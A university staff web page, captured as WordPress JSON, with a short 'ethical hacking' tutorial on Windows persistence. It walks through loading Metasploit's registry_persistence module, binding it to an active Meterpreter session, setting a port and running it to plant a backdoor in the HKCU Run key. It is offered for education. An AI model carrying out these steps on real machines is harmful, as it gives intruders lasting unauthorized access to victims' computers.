{"id":199,"date":"2024-03-23T06:12:31","date_gmt":"2024-03-23T06:12:31","guid":{"rendered":"https:\/\/people.utm.my\/abdulghafar\/?page_id=199"},"modified":"2025-04-18T01:27:27","modified_gmt":"2025-04-18T01:27:27","slug":"ethical-hacking-toturial","status":"publish","type":"page","link":"https:\/\/people.utm.my\/abdulghafar\/ethical-hacking-toturial\/","title":{"rendered":"Ethical Hacking 2: Exploit Windows Through Registry"},"content":{"rendered":"\n<p class=\"wp-block-paragraph\"><strong>Introduction<\/strong><br>The purpose of this technique is to install\/write payload in Windows Registry Key. Success installation allows cyber intruders to access victim machines directly without depending on payload clicks by users. <strong>Note<\/strong>: One Meterpreter session must remain active<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Disclaimer:<\/strong> <strong>This article is suitable for intermediate and expert users and only for education.<\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">a) Type <strong>search registry<\/strong><\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"689\" height=\"77\" src=\"https:\/\/people.utm.my\/abdulghafar\/wp-content\/uploads\/sites\/3106\/2024\/03\/Capture-11.jpg\" alt=\"\" class=\"wp-image-243\" srcset=\"https:\/\/people.utm.my\/abdulghafar\/wp-content\/uploads\/sites\/3106\/2024\/03\/Capture-11.jpg 689w, https:\/\/people.utm.my\/abdulghafar\/wp-content\/uploads\/sites\/3106\/2024\/03\/Capture-11-300x34.jpg 300w\" sizes=\"auto, (max-width: 689px) 100vw, 689px\" \/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">b) use exploit\/windows\/local\/registry_persistence<br>c) show options (Illustrates what attributes need to supply)<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"951\" height=\"424\" src=\"https:\/\/people.utm.my\/abdulghafar\/wp-content\/uploads\/sites\/3106\/2024\/03\/Capture-1.jpg\" alt=\"\" class=\"wp-image-210\" srcset=\"https:\/\/people.utm.my\/abdulghafar\/wp-content\/uploads\/sites\/3106\/2024\/03\/Capture-1.jpg 951w, https:\/\/people.utm.my\/abdulghafar\/wp-content\/uploads\/sites\/3106\/2024\/03\/Capture-1-300x134.jpg 300w, https:\/\/people.utm.my\/abdulghafar\/wp-content\/uploads\/sites\/3106\/2024\/03\/Capture-1-768x342.jpg 768w\" sizes=\"auto, (max-width: 951px) 100vw, 951px\" \/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">d) sessions (Check active session ID)<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"944\" height=\"152\" src=\"https:\/\/people.utm.my\/abdulghafar\/wp-content\/uploads\/sites\/3106\/2024\/03\/Capture-2.jpg\" alt=\"\" class=\"wp-image-214\" srcset=\"https:\/\/people.utm.my\/abdulghafar\/wp-content\/uploads\/sites\/3106\/2024\/03\/Capture-2.jpg 944w, https:\/\/people.utm.my\/abdulghafar\/wp-content\/uploads\/sites\/3106\/2024\/03\/Capture-2-300x48.jpg 300w, https:\/\/people.utm.my\/abdulghafar\/wp-content\/uploads\/sites\/3106\/2024\/03\/Capture-2-768x124.jpg 768w\" sizes=\"auto, (max-width: 944px) 100vw, 944px\" \/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">e) set session 6<br>f) show options (verify information)<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"958\" height=\"234\" src=\"https:\/\/people.utm.my\/abdulghafar\/wp-content\/uploads\/sites\/3106\/2024\/03\/Capture-3.jpg\" alt=\"\" class=\"wp-image-218\" srcset=\"https:\/\/people.utm.my\/abdulghafar\/wp-content\/uploads\/sites\/3106\/2024\/03\/Capture-3.jpg 958w, https:\/\/people.utm.my\/abdulghafar\/wp-content\/uploads\/sites\/3106\/2024\/03\/Capture-3-300x73.jpg 300w, https:\/\/people.utm.my\/abdulghafar\/wp-content\/uploads\/sites\/3106\/2024\/03\/Capture-3-768x188.jpg 768w\" sizes=\"auto, (max-width: 958px) 100vw, 958px\" \/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">g) set lport 4450 (Current port number is 4444 and change to 4450)<br>h) type run and hit enter<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"952\" height=\"384\" src=\"https:\/\/people.utm.my\/abdulghafar\/wp-content\/uploads\/sites\/3106\/2024\/03\/Capture-4.jpg\" alt=\"\" class=\"wp-image-220\" srcset=\"https:\/\/people.utm.my\/abdulghafar\/wp-content\/uploads\/sites\/3106\/2024\/03\/Capture-4.jpg 952w, https:\/\/people.utm.my\/abdulghafar\/wp-content\/uploads\/sites\/3106\/2024\/03\/Capture-4-300x121.jpg 300w, https:\/\/people.utm.my\/abdulghafar\/wp-content\/uploads\/sites\/3106\/2024\/03\/Capture-4-768x310.jpg 768w\" sizes=\"auto, (max-width: 952px) 100vw, 952px\" \/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Note<\/strong>: Backdoor has successfully written in the windows registry<br><strong>Location<\/strong> : HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\cXcfVVLx<\/p>\n\n\n<div class=\"wp-block-post-date__modified-date wp-block-post-date\"><time datetime=\"2025-04-18T01:27:27+00:00\">April 18, 2025<\/time><\/div>","protected":false},"excerpt":{"rendered":"<p>IntroductionThe purpose of this technique is to install\/write payload in Windows Registry Key. Success installation allows cyber intruders to access victim machines directly without depending on payload clicks by users. Note: One Meterpreter session must remain active Disclaimer: This article is suitable for intermediate and expert users and only for education. a) Type search registry [&hellip;]<\/p>\n","protected":false},"author":25922,"featured_media":0,"parent":0,"menu_order":0,"comment_status":"closed","ping_status":"closed","template":"","meta":{"footnotes":""},"class_list":["post-199","page","type-page","status-publish","hentry","entry"],"_links":{"self":[{"href":"https:\/\/people.utm.my\/abdulghafar\/wp-json\/wp\/v2\/pages\/199","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/people.utm.my\/abdulghafar\/wp-json\/wp\/v2\/pages"}],"about":[{"href":"https:\/\/people.utm.my\/abdulghafar\/wp-json\/wp\/v2\/types\/page"}],"author":[{"embeddable":true,"href":"https:\/\/people.utm.my\/abdulghafar\/wp-json\/wp\/v2\/users\/25922"}],"replies":[{"embeddable":true,"href":"https:\/\/people.utm.my\/abdulghafar\/wp-json\/wp\/v2\/comments?post=199"}],"version-history":[{"count":21,"href":"https:\/\/people.utm.my\/abdulghafar\/wp-json\/wp\/v2\/pages\/199\/revisions"}],"predecessor-version":[{"id":289,"href":"https:\/\/people.utm.my\/abdulghafar\/wp-json\/wp\/v2\/pages\/199\/revisions\/289"}],"wp:attachment":[{"href":"https:\/\/people.utm.my\/abdulghafar\/wp-json\/wp\/v2\/media?parent=199"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}